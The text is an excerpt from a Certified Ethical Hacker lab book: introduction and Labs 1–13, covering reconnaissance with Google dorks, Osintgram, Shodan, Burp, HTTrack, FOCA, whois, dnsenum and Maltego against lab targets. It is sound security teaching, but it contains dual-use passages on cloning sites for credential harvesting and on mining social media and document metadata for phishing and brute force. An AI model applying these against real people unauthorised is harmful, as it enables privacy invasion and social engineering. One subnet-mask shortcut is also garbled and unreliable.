Ceh

The material entailed in this guide is not
sponsored by, endorsed by, or affiliated with

the EC-Council. CEH, Certified Ethical
Hacker and EC-Council are trademarks of the
EC-Council that is based in the United States
and also has presence in certain other
countries. All other trademarks belong to
their respective owners.
101 Labs is a registered trademark.
Copyright Notice
Copyright © 2022 Paul Browning, all rights
reserved. No portion of this book may be
reproduced mechanically, electronically, or
by any other means, including photocopying
without written permission of the publisher.
https://www.101labs.net
ISBN: 9798825582177
Published by:
Reality Press Ltd.
Legal Notice
The advice in this book is designed to help
you achieve the standard of a Certified
Ethical Hacker and Certified Ethical Hacker -
Master engineer. Before you carry out more
complex operations, it is advisable to seek the
advice of experts.
The practical scenarios in this book are meant

only to illustrate technical points and should
be used only on privately owned equipment
and never on a live network.
About the Authors
Paul Browning
Paul Browning worked as a police officer in

the UK for twelve years before changing
careers and becoming a helpdesk technician.
He acquired several IT certifications and
began working for Cisco Systems doing
WAN support for large enterprise customers.
He started an IT consulting company in 2002

and helped to design, install, configure, and
troubleshoot global networks for small to
large companies. He began teaching IT
courses soon after that. Through his
classroom courses, online training, and study
guides, Paul has helped tens of thousands of
people study for their IT exams and enjoy
successful careers in the IT industry.
In 2006, Paul started the online IT training

portal, www.howtonetwork.com, which has
grown to become one of the leading IT
certification websites.
In 2013, Paul moved to Brisbane with his

family. In his spare time, he plays the guitar,
reads, drinks coffee, and practices Brazilian
jiu-jitsu.
Nikola Mladenovic
Nikola Mladenovic has over ten years of

experience in IT, working on projects ranging
from system and network administration,
education, planning, consulting, analysis,
assessment and testing to investigative and
forensic work.
He holds the Offensive Security Certified

Professional (OSCP), issued by Offensive
Security.
He has extensive hands-on experience in

Penetration Testing, Security, System
Administration, Networking and
Virtualization.
Introduction—101
Labs
Welcome to your 101 Labs book.
When I began teaching IT courses back in

2002, I was shocked to discover that most
training manuals were almost exclusively
dedicated to theoretical knowledge. Apart
from a few examples of commands to use and
configuration guidelines, you were left to
plow through without ever knowing how to
apply what you learned to live equipment or
to the real world.
Fast forward another 17 years, and little has

changed. I still wonder how—when around
50% of your examination marks are based on
hands-on skills and knowledge—most books
give little or no regard to equipping you with
the skills you need to both pass the exam and
then making money in your chosen career as
a network, security, or cloud engineer (or
whichever career path you choose).
101 Labs is NOT a theory book; it’s here to

transform what you have learned in your
study guides into valuable and applicable
skills you will be using, from day one, on
your job as a network engineer. For example,
we won’t be teaching you about Firewall
detection per se; instead, we show you
exactly how to configure a Firewall
connection. If the service or protocol isn’t
working, we show you what the probable
cause is. Sound useful? We certainly hope so!
We choose the most relevant parts of the

exam syllabus and use free software or free
trials (whenever possible) to walk you
through configuration and troubleshooting
commands step by step. As we go along and
your confidence grows, we will also be
increasing the difficulty level. If you want to
be an exceptional network security engineer,
you can also make your own labs up, add
other technologies, try to break them, fix
them, and do it all over again.
We strongly recommend you study for the

Security+ before or alongside the CEH to
ensure you have a strong foundation.
—Paul Browning
101 Labs – Certified Ethical

Hacker (CEH)
This book is designed to cement the
theoretical knowledge you have gained from
reading or watching your CEH study guide or
video training course. If you have yet to study
up on the theoretical side of things, please
check out our cutting-edge video and labs on
our sister website,
https://www.howtonetwork.com; our course
also features practice exams that may come in
handy.
The goal of this book is to dramatically

improve your hands-on skills and speed,
enabling you to succeed in the practical
portions of the CEH written and practical
exam and also to transfer your skills to the
real world as an ethical hacker. We don’t
have space here to cover anything theoretical,
so please refer to your CEH study guide to
get a good understanding of the learning
points behind each lab. Every lab is designed
to cover a particular theoretical issue, such as
the configuration requirements of SSH, for
example.
If you want to become CEH certified, there’s

one exam you must first pass, the four-hour
written exam:
312-50 (ECC EXAM), 312-50 (VUE)
If you want to become a CEH Master, then

you must also pass the six-hour practical
exam set by the EC-Council. Please visit their
website for exam and booking information.
https://www.eccouncil.org/
We’ve done our best to hit every topic

mentioned in the exam syllabus on the EC-
Council website. However, please do check
the syllabus on their website, for the syllabus
may change as time goes on. Their website
also gives more details on the weighting
given to each subject area. The current
iteration of the exam is v11.
It’s also worth noting that once we show you

how to configure a certain service or protocol
a few times, we stop walking you through the
steps in subsequent labs—to save valuable
space. Anyway, in times of uncertainty, you
can always flick back a few pages to check
how it’s done.
We’ve done our best to keep the topology as

simple as possible. For this reason, almost all
labs have been configured on a virtual
machine (with internet access).
Please do check out our resource page, which

will cover any additional information you
need, the running configurations for all your
labs, and other materials that are bound to
prove useful:
https://www.101labs.com/resources
Doing the Labs

Apart from a couple of research labs, all the
labs are hands-on. They have been checked
by several students and a senior security
consultant and should be error-free. Bear in
mind that each machine will differ, so your
output may vary from ours in certain
instances.
If you get stuck or things aren’t working, we

recommend you take a break and come back
to the lab later with a clear mind. There are
many hacking support forums out there where
you can ask questions. If you are a member of
101labs.net, you can, of course, also post any
of your inquiries on our forum.
Best of luck with your studies,
—Paul Browning, CCNP, MCSE, A+, Net+

—Nikola Mladenovic, OSCP
101 Labs - CEH Video Course

All of our 101 Labs books have a walk-
through video for each lab, hosted on
https://www.101labs.net. We only mention
this in case you want an extra boost. We add
a new certification every two months, and
each course comes with 200 exam-style
questions. Please use the below coupon code
to get a discount off your joining fee:
101ceh
Instructions
1. Please follow the labs from start to
finish. If you get stuck, do the next lab
and come back to the problematic lab
later. There is a good chance you will be
able to work out the solution as you gain
confidence and experience in configuring
the software and using the commands.
2. You can take the labs in any order, but
we’ve done our best to present them in
increasing difficulty to build up your
skill level as you go along incrementally.
For best results, do ALL the labs several
times over before attempting the exam.
3. There are resources as well as
configuration files for all the labs at
www.101labs.net/resources.
4. Please DO NOT configure these labs on
a live network or equipment belonging to
private companies or individuals.
5. Please DO NOT attempt to configure
these labs on other Linux distros. We’ve
chosen Kali for the labs due to it being
the most popular Linux distribution
among security experts.
6. You MUST be reading or have read a
CEH study guide or watched a theory
video course. Apart from some
configuration tips and suggestions, we
don’t explain much theory in this book;
it’s all hands-on labs.
7. It’s impossible for us to give individual
support to the thousands of readers of
this book (sorry!), so please don’t contact
us for tech support. Each lab has already
been tested by several tech editors, of
abilities ranging from beginner to expert.
Also from Reality Press Ltd.

Cisco CCNA Simplified
Cisco CCNA in 60 Days
IP Subnetting – Zero to Guru
101 Labs—CompTIA A+
101 Labs—CompTIA Network+
101 Labs—CompTIA Security+
101 Labs—CompTIA PenTest+
101 Labs—Python
101 Labs—CompTIA Linux+
101 Labs—IP Subnetting
101 Labs—Cisco CCNP
101 Labs—Cisco CCNA
101 Labs—Wireshark WCNA
101 Labs—Linux LPI1 and Linux
Essentials
Lab 1. Introduction
to Ethical Hacking
Lab Objective:
Learn how to create your own lab
environment as well as some hacking
terminology.
Lab Purpose:
In this lab, we’ll go through the process of
making your own lab environment where you
can safely practice ethical hacking. In
addition to that, we’ll be introducing some
concepts and terminology that exist within
the cyber security world.
Lab Tool:
VMware or other Virtual Machine
hypervisors.
Lab Topology:
You can use Kali Linux in a VM for this lab.
Lab Walk-Through:
The first step here would be to download a
Kali Linux Virtual Machine (VM) image file,
suitable to your CPU architecture (x86, x64,
ARM etc.), from this URL:
https://www.kali.org/get-kali/#kali-virtual-
machines. It is recommended to run Kali, and
all other Operating Systems (OS) in a VM for
security reasons, to see how we’ll be working
with dangerous files (such as viruses) in the
future. In addition to that, we’re creating our
own lab environment because we aim to be
ethical hackers, otherwise known as white-hat
hackers. There are also black and gray-hat
hackers, which are engaged in illegal or
borderline legal hacking, respectively. In the
broadest sense, a hacker is simply an
individual that uses things in a way they are
not intended to be used.
Feel free to use whichever VM software you
like; mine is VMware Workstation Pro. Once
you download and install the VM software of
your choice, install the VM image, then pick
the option to open a pre-existing VM file, like
in the screenshot below.
Accept, retry or ignore any errors that might

pop up on the screen and once the VM is
installed, set it up according to your
preferences (and, more importantly, hardware
specs). The most important thing is to make
sure that any and all VMs we will be using
throughout these labs share the same network
setup. In my case, I’ve opted for NAT
network, as can be seen in the following
screenshot.
Next, for the purposes of this entire course,

you’ll be needing these additional VMs:
https://developer.microsoft.com/en-
us/microsoft-edge/tools/vms/.
Download IE8 on Win7 (x86) for your VM

software of choice.
https://www.vulnhub.com/entry/owasp-
broken-web-applications-project-12,46/.
https://www.vulnhub.com/entry/metasploitable-
2,29/.
You will need quite a bit of free space on

your HDD/SSD, so bear that in mind—
ideally, around 100GB. Once the download
finishes, set these up the same as you have
done with Kali.
We will be using these VMs to discover

vulnerabilities (faults within a particular
target), create exploits (means of leveraging
said faults in order to gain control or
information on the target), perform
penetration testing (a more hands-on, manual
approach to ethical hacking), vulnerability
assessments (slightly less involving, more
automated testing), and work with various
attack vectors (for example, client and server-
side attacks). We will primarily be concerned
with red-teaming (offensive) activities
throughout the labs, touching upon blue-
teaming (defensive) in a handful of topics.
You will learn that in security, it’s necessary

to make compromises in order to achieve a
workable balance of security, functionality
and usability.
Tips and notes:

Spend some time familiarizing yourself with
the VMs you downloaded and installed,
especially Kali Linux, as we will not be
spending much time familiarizing you with
Linux. For the purpose of these labs, some
Linux knowledge is expected on the student’s
part.
Lab 2. Footprinting
through Search
Engines
Lab Objective:
Learn how to find information on a particular
target using search engines like Google.
Lab Purpose:
In this lab, we’ll look into leveraging search
engines to discover particular information
about our targets. Because our lab VMs are
all locally hosted, we’ll have to look at some
publicly available domains.
Lab Tool:
Google.
Lab Topology:
Lab Walk-Through:
Everyone is using search engines on a daily
basis, but not everyone knows that search
engines have special queries that allow us to
look up very specific information about a
target. In this lab, you’ll be introduced to a
couple of those queries, ones that I’ve found
most useful in my ethical hacking endeavors.
Let’s start with “inurl.” This query will

display only those results in which a
particular string is contained within the URL.
Try it out like this:
inurl:ceh
You can see that Google prints out only the
results containing the word “ceh” in their
URL.
The next interesting query is “filetype.” This

one prints only the results of a particular file
format (or type). Think PDF documents from
a company and similar. So, let’s look up
Microsoft PDF files like this:
filetype:pdf inurl:microsoft
As you can see, it is possible to chain these
queries to get exactly what we are looking
for. This is invaluable when looking up
Open-Source Intelligence (OSINT) through
passive reconnaissance of a target.
Some other queries I’ve used are “site” and

“intitle.” The difference between “inurl” and
“intitle” is that the URL is the address string
of a particular resource (like
https://google.com), whereas its title can be
something else entirely. Let’s see how the
two differ in an actual example:
inurl:googlehacking
intitle:googlehacking
Notice that there is no “googlehacking” word

in the result’s URL, but the article is titled
GoogleHacking.
Finally, the “site” query will only return
results for a particular site, such as
nytimes.com.
Tips and notes:

These labs do not aim to provide an
exhaustive list of everything you will ever
need to succeed as ethical hackers. In fact, it
is expected that you do a significant amount
of research and practice on your own. An
excellent resource on Google hacking is
https://www.exploit-db.com/google-hacking-
database. Here you can find some incredibly
useful queries that other people came up with,
and you can submit your own if you believe it
will contribute to the community.
Lab 3. TLD and
Subdomains
Lab Objective:
Learn how to gain information on Top-Level
Domains (TLDs) and subdomains.
Lab Purpose:
In this lab, we’ll look into another passive
reconnaissance technique, and that is looking
up TLD and subdomains of a particular
target. This information is crucial because,
depending on the scope of a particular
penetration test, we can leverage
vulnerabilities in other parts of the client’s
infrastructure in order to gain a foothold on
our main target.
Lab Tool:
Netcraft.
Lab Topology:
Lab Walk-Through:
TLDs are essentially the topmost domains in
the hierarchical Domain Name System (DNS)
of the internet, with only the root domain
above them. Subdomains, on the other hand,
are additional, specific “branches” to your
main domain name. For example, a URL of
www.google.com contains the following
information: the subdomain is www and its
TLD is com. The more you know about a
target, the greater the likelihood of successful
exploitation as your attack surface increases.
For the purpose of this lab, we will be using
the following web applications:
https://sitereport.netcraft.com.
https://pentest-tools.com/.
The former allows us to gain insight into a
target’s setup, such as IP address, owner,
geolocation and more. The latter can be used
to enumerate subdomains, for example, but a
lot more besides that. As always, you are
encouraged to explore on your own. For now,
type in google.com in both web apps:
https://sitereport.netcraft.com/?
url=google.com.
https://pentest-tools.com/information-
gathering/website-reconnaissance-discover-
web-application-technologies.
You can see below how verbose Netcraft is:

Pentest-Tools has the downside of it requiring
payment in order to use all of the functions,
but we can see the results from the
aforementioned function in particular:
There are, of course, tools you can run locally

to perform passive reconnaissance, such as
Sublis3r, but we’ll leave that to you.
Tips and notes:

While this might not seem like much, I once
had a client with over a hundred subdomains
to their domain name. When they approached
me for a penetration test, they gave me just
the www subdomain, but after some
enumeration, I was able to, quite easily, find
a “low-hanging fruit” in the form of a
subdomain left open and forgotten and
exploit it in order to read critical client data.
The moral of the story is that you should
leave no stone unturned, and no information
is useless.
The most interesting for research can be

subdomains with the next words: test, stage,
temp. They may contain unapproved software
that may have easy-to-use vulnerabilities or
security misconfigurations.
Lab 4. Social Media
Lab Objective:
Learn how to perform OSINT using social
networking websites.
Lab Purpose:
In this lab, we’ll look into another technique
for gathering information about our targets in
the form of passive reconnaissance. This time
we’ll look at social media presence and the
wealth of information it can contain.
Lab Tool:
Osintgram.
Lab Topology:
Lab Walk-Through:
Social media, or social networks, oftentimes
contain more information than necessary.
People leave all sorts of data on places like
Twitter, Facebook, Instagram, etc. This can
be leveraged for things like social-
engineering campaigns (think phishing
emails), brute forcing user accounts (through
username harvesting), and sometimes,
thankfully not too often, people will, by
accident, post passwords on social networks.
Now, because I don’t want to make anyone a

target of someone’s social-engineering
campaign, we’ll have to look at this as a
mental exercise rather than a practical
example.
For instance, on Twitter, you can identify a

username. It is possible the target has reused
it elsewhere, so you can perform lookups for
that specific username and see if it appears
anywhere else, maybe an email address?
Maybe they use said username as a password
as well! Oftentimes you can also see a Date
of Birth (DOB), which can be used, for
example, to send a phishing email on their
birthday saying how they’ve won some
amazing prize, and all they have to do is click
on a link within the email. Speaking of
phishing emails, based on the profile
contents, you can tell an individual’s likes.
Maybe you want to sell them an item they are
sure to love, and at an incredible discount?
Really, the sky’s the limit here. We’ll look
into a particular social-engineering tool,
literally called Social-Engineering Toolkit
(SET) in a later lesson. This was just to show
you how much intel you can gain from a
single social media account, and a rather
small one at that.
There are tools designed specifically to gather

data from social media accounts. One such
tool is OSINTgram, which, as the name
implies, gathers data from Instagram. To
download it, run:
git clone https://github.com/Datalux/Osintgram.git
cd Osintgram
chmod +x main.py
python3 main.py --help
You will have to supply your own Instagram

credentials for the tool to run:
vi config/credentials.ini
Once you have the tool set up (read the

README.md file), you can proceed to
analyze people’s Instagram. To run the tool,
type:
python3 main.py INSTAGRAM_USERNAME
When running any tool for the first time, it’s

best to familiarize yourself with it, most
commonly by running:
help
This gives us a list of commands to run, and

so, for demonstration purposes only, we will
try to get emails of the target’s followers:
fwersemail
Note that you cannot gather intel from private

accounts unless they accept your request to
follow them.
Tips and notes:

Try using these tools and techniques against
your own social media accounts. Do not get
into the habit of snooping around other
people’s social media presence without their
explicit consent (or unless they themselves
are the target of your ethical hacking
engagement). LinkedIn is another excellent
OSINT resource.
Lab 5. Shodan
Lab Objective:
Learn how to perform passive recon using
Shodan.
Lab Purpose:
Shodan is an incredibly powerful search
engine, essentially allowing you to look up
any and all devices connected to the internet,
such as computers, cameras, and more. In this
lab, we’ll see how we can leverage that
information for our ethical hacking
endeavors.
Lab Tool:
Shodan.
Lab Topology:
Lab Walk-Through:
Shodan essentially contains information on
Internet of Things (IoT) devices. We can
query for devices in different ways, and some
of the more common queries are listed on the
homepage.
If we type 8.8.8.8 (which is Google’s DNS

server) in the search field, we get a whole lot
of information that no other search engine
contains, and we get all of that passively,
without ever even interacting with the target.
In addition to using it like this (with a

specific target in mind), we can also explore
in Shodan by simply clicking the Explore
button in the top left section of the page.
This, in turn, gives us additional options, such
as looking into video game servers. So, let’s
do just that, click on Video Games, then pick
a game of your choosing. I’ll select Counter-
Strike, and this gives me a list of publicly
accessible CS: GO servers, with detailed
information about each.
You can see geolocation, IP addresses, server

OS, and so much more. Needless to say, this
is a treasure trove of information that is key
to successful exploitation. More often than
not, just knowing that a particular target is
running an outdated version of some software
is enough to give us a useful avenue of attack.
Tips and notes:

Shodan also allows us to use its API key in
other tools which we will work with in the
future. Because of that, it is necessary to
register for a free Shodan account. Do so in
your own time, but make sure you have the
API key ready when the time comes.
Lab 6. Web Spiders
Lab Objective:
Learn how to utilize web spiders to discover
interesting web application elements.
Lab Purpose:
In this lab, we’ll go through web spiders,
tools that interact with a web application,
probing it for elements that may not be
immediately obvious to the human eye.
Lab Tool:
BurpSuite.
Lab Topology:
You can use Kali Linux and Metasploitable
in a VM for this lab.
Lab Walk-Through:
Since this is the first time we’ll actually be
using a native tool on our Kali machine, it’s a
good idea to make sure everything is up to
date with the following set of commands:
apt update
apt upgrade
apt install burpsuite zaproxy
It is assumed you are running the OS as the

root user from the start. While this is
inherently dangerous, it saves time and
teaches you to be careful with what you type.
Not only that, but far too many pentesting
tools require root privileges.
With that out of the way, we can proceed to

interact with our tool of choice, namely
BurpSuite.
Start Burp via the command line. It’s a good

idea to run all tools from the Command Line
Interface (CLI) because CLI is more
beneficial than Graphical User Interface
(GUI) with regards to the power given to the
user.
To start it, simply type:

burpsuite
in CLI/terminal.
Once Burp starts, go to its Proxy → Intercept

tab and make sure “Intercept is on” is set to
off. You can also disable this on startup by
going to User options → Misc → Proxy
interception → Always disable.
Next, we need to send all traffic from our

browser of choice (I prefer Firefox) to Burp.
The easiest way to do that is by downloading
the FoxyProxy addon for Firefox. I’ll skip the
addon download instructions and will go
straight to the setup.
Once the addon is downloaded and installed

onto your browser, click its icon, then
Options. A new browser tab should open
within which you click on Add. The values
should be 127.0.0.1 for the IP address and
8080 for the port. Name it any way you like,
but it’s a good idea to make it easy to
understand, so I’ll simply call it burp.
Once you’re done, click Save, and the setup

is complete. To use the proxy, click on the
addon’s icon again, then select it from the
dropdown menu.
Now, start the Metasploitable VM and use

msfadmin as both username and password to
log into it. Once inside, type:
ifconfig
to identify the VM’s IP address. Navigate to
that address from your Kali VM. Let’s head
over to Twiki and click on the hyperlinks
presented to us.
Then head back to Burp and go to Target →

Site map. You can see that Burp identified
things we had no idea were present on the
Twiki page, such as Twiki.cfg in a /lib
directory. If we navigate to it manually, we
can indeed confirm that the file is there.
What happened here was that Burp has, on its
own, crawled the target web application
looking for files, directories, etc. Given
enough time, it could potentially scan the
entire web application on its own. However,
it is much faster and gives us more control to
point Burp in the direction(s) of interest to us,
which is why we navigate through an
application on our own and let Burp follow
our lead.
It is easy to see how this information can be
useful to us because remember, in a
penetration test, no information is useless,
and we should leave no stone unturned.
Tips and notes:

ZAP (Zed Attack Proxy) has the same
spidering functionality as Burp. For time’s
sake, we didn’t go over it, but you should
definitely familiarize yourself with it. One
convenient thing about ZAP is that it can
preconfigure your installed browsers
(Chrome or Firefox), so you don’t need to set
up any addons to send traffic from your
default system browser to it.
Lab 7. Website
Mirroring
Lab Objective:
Learn how to perform website mirroring.
Lab Purpose:
Website mirroring is a useful skill to have as
a penetration tester, especially if social
engineering is within scope of your
penetration testing engagement.
Lab Tool:
HTTrack.
Lab Topology:
Lab Walk-Through:
Website mirroring is basically copying an
entire web application, or some parts of it,
depending on what our end goal is. This is
useful if we want to trick someone into
believing we are hosting a legitimate site for
the purpose of, for example, credential
harvesting. Let’s begin with the command:
apt install httrack
httrack --help
As always, it’s good to familiarize ourselves

with the tools we intend to use by accessing
their help menu. Most commonly, the CLI
argument for doing so is --help or -h. In
addition to that, you are encouraged to go
through a tool’s man page with the command,
in this lab’s case, being:
man httrack
We can see that HTTrack has an

overwhelming number of options that can be
given to it in order to fine tune the mirroring
process. We will only perform a simple web
application mirror with very few options, and
to that end, we can focus on the Shortcuts
section of the help menu.
You are, as always, encouraged to explore the

rest on your own.
We’ll be mirroring one of the applications

hosted on Metasploitable, namely the Damn
Vulnerable Web Application (DVWA). The
simplest way to do this is by typing the
command:
httrack http://IP/dvwa/
Remember to replace the word IP with the IP
address of your Metasploitable instance.
Another way is to use HTTrack’s wizard like
this:
httrack
The wizard will ask you questions; feel free

to answer as you like. However, the URL
value needs to be the correct one for DVWA.
When prompted for Action, select 2 – Mirror
Web Site(s) with Wizard. We will set the
recursion level to -r5 as Additional options.
Input Y, then press Enter to confirm the
settings and let the tool finish.
Now, navigate to the directory where the

mirror is saved and enter the command:
python3 -m http.server 80
Navigate with your browser to

http://localhost:80, and you should see the
website mirrored perfectly, with no
discernible differences compared to the
original.
Set up a Man-In-The-Middle (MITM) attack,

and you can easily harvest credentials from
unsuspecting clients, but more on MITM in
future labs.
Tips and notes:

Website mirroring for the purpose of social
engineering can be done within Social-
Engineering Toolkit (SET), but we’ll look
into that when we start focusing more on
client-side attacks. The focus in these early
labs is on gathering information on/from web
applications.
Lab 8. Wayback
Machine
Lab Objective:
Learn how to use the Wayback Machine to
gather OSINT on targets.
Lab Purpose:
In this lab, we’ll look into gathering
seemingly outdated and forgotten yet crucial
data on our clients and, more specifically,
client web applications.
Lab Tool:
Wayback Machine.
Lab Topology:
Lab Walk-Through:
The Wayback Machine is an archive of web
application snapshots. It essentially contains
copies of web applications at various points
in time, capturing some (but not all) of the
contents of the application in question. This
can allow us, as ethical hackers, to glean
information such as previously available
endpoints, configuration and backup files and
more.
To facilitate this lab, let’s head over to

https://archive.org and input www.mile2.com
as our target of choice. You will then be
presented with a timeline of sorts, detailing
the number of times our target has been saved
in a given year. Clicking on a year opens up a
calendar with each month and crawl
designations that made these specific
snapshots.
Hovering over snapshots gives us the exact
time when the snapshot was made since, at
times, several were made within the same
day. Let’s check out February 4, 2007,
09:47:48.
At a quick glance, it’s easy to see that what is

presented to us is nowhere near similar to
what the target website (www.mile2.com)
looks like now. If we try clicking on any of
the links within the Wayback Machine’s
version of the mile2 website, it will take us to
the correct destination for that version.
In addition to having access to archived intel,

we can also look at a target’s details, sitemap
and even changes, allowing us a quick way to
identify technologies (based on file types that
exist on the target, for example) when the
target was modified the most, and more.
Wayback Machine is not perfect in that it

does not snap an entire web application, as
can be seen from the following example.
This is to be expected because imagine how
much space it would require to archive all
websites that ever existed in their full size,
with every single page and file.
Tips and notes:

This is a relatively harmless way of looking
at targets, so feel free to look up some other
URLs and familiarize yourself with this
amazing resource. Needless to say, we do not
condone using skills gained in these labs for
malicious purposes.
Lab 9. Public
Documents Metadata
Lab Objective:
Learn how to analyze metadata from publicly
available documents.
Lab Purpose:
Metadata is information embedded within
files of various types. This data can contain
things such as OS version, GPS coordinates
and more. In this lab, we’ll look at how we
can harvest and analyze that data.
Lab Tool:
FOCA.
Lab Topology:
You can use Windows in a VM for this lab.
Lab Walk-Through:
The tool presented in this lab works on
Windows only, so we’ll be using that as our
VM. Once the VM boots up, go to the
following URLs:
https://www.microsoft.com/en-us/sql-
server/sql-server-downloads.
https://github.com/ElevenPaths/FOCA/releases
From the former, we need SQL Express.

Download it, start the installation process, opt
for the Basic installation and leave everything
as default. From the latter, we want the latest
version of FOCA available at the time of
writing this lab which is 3.4.7.1. Extract
FOCA, then run it via FOCA.exe. It might
prompt you for a connection to SQL, so fill
that in according to your setup. Once that’s
all done, FOCA will start.
In the main Window, select Project Name,
then input the required fields as you like. For
the Domain website, we will input
eccouncil.org. Click on Create, then in the
next window, select doc, docx and pdf file
types and Google as our search engine of
choice. Click Search All and wait for the tool
to finish.
Next, we want to download all of the files
discovered, so right-click on any one of them
and select Download All. It’s likely to take
some time to complete the download
depending on how many files there are, so
just wait until it is done.
After that, it’s time to harvest these files for

precious metadata. This is done, again, by
right-clicking on any of the files and selecting
Extract All Metadata. This will be a bit faster
than the previous step seeing how the files are
hosted locally now, on your own machine.
Finally, we want to Analyze All Metadata
from the right-click menu.
This populates the left-side panel with

information that we can now manually
inspect. The information is conveniently
arranged according to categories, so let’s
head over to Metadata Summary and look at
what FOCA discovered for us.
Immediately we can see a list of users that we
can possibly use in a brute force campaign.
Besides that, there are various
directories/folders, some of which may be
hidden, but we can become aware of their
existence this way. Then there are software
versions, information that is always useful.
We’ll look into exploiting outdated software
in later labs. Email accounts, to be used in
phishing campaigns, and much more.
Tips and notes:

Try to run malware analysis through FOCA
and see what results you’re going to get from
these files.
Lab 10. Whois
Footprinting
Lab Objective:
Learn how to access Whois database
information.
Lab Purpose:
Whois is essentially a database of information
pertaining to a particular domain name. This
information includes things such as domain
registrar name, IP addresses and blocks, and
more.
Lab Tool:
Whois.
Lab Topology:
Lab Walk-Through:
Whois can be invoked in an incredibly simple
way, just type:
whois google.com
into the CLI/terminal, for example, and you

will be given what information the Whois
database has on google.com.
At times Whois might not have complete

data; the data may be intentionally obscured
or even contain inaccurate information, as is
the case in the sample screenshot below.
Now, I know for a fact that the domain I

inquired about in the screenshot above is not
hosted in the US because the domain belongs
to a friend of mine and is being hosted in the
UK. They paid in order to have this
information misleading, which is perfectly
legal.
Despite these shortcomings, Whois represents

an invaluable asset to an ethical hacker
because, when it contains accurate
information, it can give us email addresses
(for social engineering/phishing), and
geolocation (in case perimeter/physical
penetration testing is within scope), and much
more.
Tips and notes:

Look into any domain name you can think of
using Whois, then compare and cross-
reference the output in order to get an idea of
how much different the results can be, and
how much it can be obscured. You might
even become aware of a “trend,” perhaps
domains in a certain industry all have the
same or similar defenses in place?
Lab 11. DNS
Footprinting
Lab Objective:
Learn how to perform DNS footprinting
using various tools.
Lab Purpose:
We’ve already touched upon the topic of
TLD and subdomain enumeration in one of
our previous labs. In this one, we’ll look at
Kali Linux native tools designed specifically
to address this portion of information
gathering.
Lab Tool:
DNSenum.
Lab Topology:
Lab Walk-Through:
For this lab, we’ll have to install a wordlist
compilation called SecLists:
apt update
apt install seclists
Then, as always, let’s first familiarize

ourselves with our tool of choice via its help
menu with the command:
dnsenum --help
We see that the options are not

overwhelmingly complex so let’s proceed
with a basic scan:
dnsenum eccouncil.org
Even with such a simple command, the tool
takes a while to complete its task, and the
results are plentiful. We get information
about various types of DNS records and IP
addresses associated with them. These can
serve as potential attack vectors, depending
on the scope agreed upon at the start of the
penetration testing engagement.
If we want a bit more control over the

process, and a bit more thorough analysis, we
can use the tool with a couple of options seen
in its help menu like this:
dnsenum --enum -r -o eccouncil.org eccouncil.org
This performs a deeper analysis of the target,
mostly due to enabled recursion (with the -r
switch), and saves the output into a file, in
this case, labeled eccouncil.org.
Finally, we can instruct DNSenum to use a

different wordlist from the default one
(dns.txt) in case we believe the default
wordlist to be too scarce and not include
some, potentially critical, DNS names. We do
that with the following command:
dnsenum -f /usr/share/seclists/Discovery/DNS/shubs-
subdomains.txt eccouncil.org
We see that this time, there are even more
results than before.
Tips and notes:

A couple of other tools that might be more to
your liking are DNSrecon and Fierce.
Explore them on your own and see which one
works best for you. In the end, it’s best to
have knowledge of as many tools as possible
because we can never know when one might
produce better results than another.
Lab 12. Network
Footprinting
Lab Objective:
Learn how to perform network footprinting
via subnetting and traceroute.
Lab Purpose:
Subnetting is the art of splitting a particular
IP network into smaller segments, while
tracerouting enables us to see the path a
packet takes from our device (Kali Linux) all
the way to the target. This has the potential to
help us identify any obstacles along the way.
Lab Tool:
Traceroute.
Lab Topology:
Lab Walk-Through:
This particular lab will contain a bit more
theory than most others, but it is crucial that
you understand subnetting well as it is
expected of you to be familiar with it by
virtually all cyber security certifications out
there, CEH included.
As stated in the Lab Purpose section,

subnetting is the art of taking a single IP
range and dividing it into smaller segments.
For the purpose of this lab, we’ll only look
into Class C network subnetting (i.e.,
192.168.77.0/24). Let’s say we want to create
3 blocks of IP addresses from the one
mentioned. The following table will help us
out in that endeavor.
You can see that there is no number 3 in the
table above in any of the rows, so we take the
next larger number in the Subnet row, in this
case, 4. Looking at the values for Host and
Mask in that same column tells us we will
have access to 64 hosts in each subnet, and
the CIDR notation will end up being
192.168.77.x/26 for each of the subnets, with
the value of x changing, as we’ll see in a bit.
Now, we need to invoke another table:
Notice that the # (number) of usable hosts is

62 and not 64 for each of the subnets. That is
because the first and the last IP address in
each subnet are reserved for the network ID
and the broadcast ID, respectively. The
broadcast ID can either be calculated by
adding 64 to the value of the first broadcast
ID in “line” (in this case, 192.168.77.63). We
add 64 because, as seen in the first table,
that’s the total number of IP addresses
available to us for each subnet.
Of course, one entire subnet will go to waste,

seeing how the exercise was that we only
need 3 subnets, but that’s fine. We can pick
any 3 from the 4 available to utilize them and
leave the remaining one inactive. The way we
would denote them would be
192.168.77.0/26, 192.168.77.64/26,
192.168.77.128/26 and 192.168.77.192/26.
One final thing remains, and that is turning

CIDR into a subnet mask value, like how /24
is 255.255.255.0. To do that, the simplest
way, for me at least, is to just take
255.255.255.256 and then subtract the
number of total IP addresses from it. If you
reach 0 (255.255.255.0), start subtracting
from the next number to the left and so on.
Now, for something hands-on, we’ll look at

tracerouting. Let’s keep it simple, seeing how
subnetting was a lot to take in, so our
command of choice will be:
traceroute -4 -m 255 google.com
This will instruct the traceroute command to

use IPv4 only and to go as far as 255 hops
(the default being 30). If the tool does not
reach google.com in 255 hops, it will fail, but
that’s fine. We at least know the target is very
far away from us.
Tips and notes:

As an added exercise, see if you can divide a
single, larger subnet, such as /24, into 4 but of
different sizes, let’s say /25, /26 and /27.
What would that network topology look like?
To top that, you can work out subnetting for
Class A and B networks (CIDR /8 and /16,
for example). The principles are the same.
Lab 13. Maltego
Lab Objective:
Learn how to use Maltego and perform
OSINT investigations.
Lab Purpose:
In this and the next couple of labs, we’ll look
into OSINT tools, the first one on the list
being Maltego, an industry standard when it
comes to Open-Source Intelligence gathering.
Lab Tool:
Maltego.
Lab Topology:
Lab Walk-Through:
Just in case it’s not installed in your version
of Kali, depending on when you go through
these labs, we’ll run the following commands
to ensure Maltego is present on our system:
apt update
apt install maltego
Once the installation concludes, run Maltego

by simply typing:
maltego
in the CLI. You’ll have to register with

Paterva, the company that develops Maltego,
but that is completely free. There are paid
options, but we aren’t concerned with those
for the purpose of this lab. Within Maltego,
select Maltego CE (Community Edition) and
input your credentials.
In the main Maltego window, check out

Transform Hub Partners pane and make sure
Standard Transforms CE is installed. You can
install all the others if you wish at this point
in time but be aware of the fact that some
require API keys to run.
Next, create a new graph and search for

Domain in the Entity Pallete. Drag and drop
the “pin” onto the white area and input
eccouncil.org into the pin.
Then, once you click on the pin, you should
have the list of transforms in the lower-left
pane labeled Run View.
